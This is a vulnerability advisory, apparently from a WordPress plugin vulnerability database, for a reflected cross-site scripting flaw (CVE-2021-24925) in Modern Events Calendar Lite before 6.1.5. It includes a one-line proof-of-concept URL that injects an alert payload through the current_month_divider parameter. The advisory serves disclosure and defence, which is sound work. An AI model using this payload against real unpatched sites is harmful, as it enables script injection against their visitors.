Modern Events Calendar Lite < 6.1.5 – Reflected Cross-Site Scripting | CVE 2021-24925 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape the current_month_divider parameter of its mec_list_load_more AJAX call (available to both unauthenticated and authenticated users) before outputting it back in the response, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

https://example.com/wp-admin/admin-ajax.php?action=mec_list_load_more&current_month_divider=%3Cimg%20src%20onerror=alert(`XSS`);%3E&mec_start_date=1000-01-01

Affects Plugins

modern-events-calendar-lite

Fixed in 6.1.5

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website

https://kazet.cc/

Verified

Yes

WPVDB ID

82233588-6033-462d-b886-a8ef5ee9adb0

Timeline

Publicly Published

2021-11-15 (about 4 years ago)

Added

2021-11-15 (about 4 years ago)

Last Updated

2022-04-11 (about 3 years ago)

Other

Published

Title

Published

2015-08-13

Title

My Category Order <= 4.3 - Authenticated Cross-Site Scripting (XSS)

Published

2014-08-01

Title

Social Hashtags 2.0.0 - New Post Title Field Stored XSS

Published

2025-12-11

Title

FX Currency Converter < 0.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

Published

2021-08-16

Title

Email Artillery <= 4.1 - CSRF to Stored XSS

Published

2021-08-25

Title

Responsive Poll < 1.5.9 - Reflected Cross-Site Scripting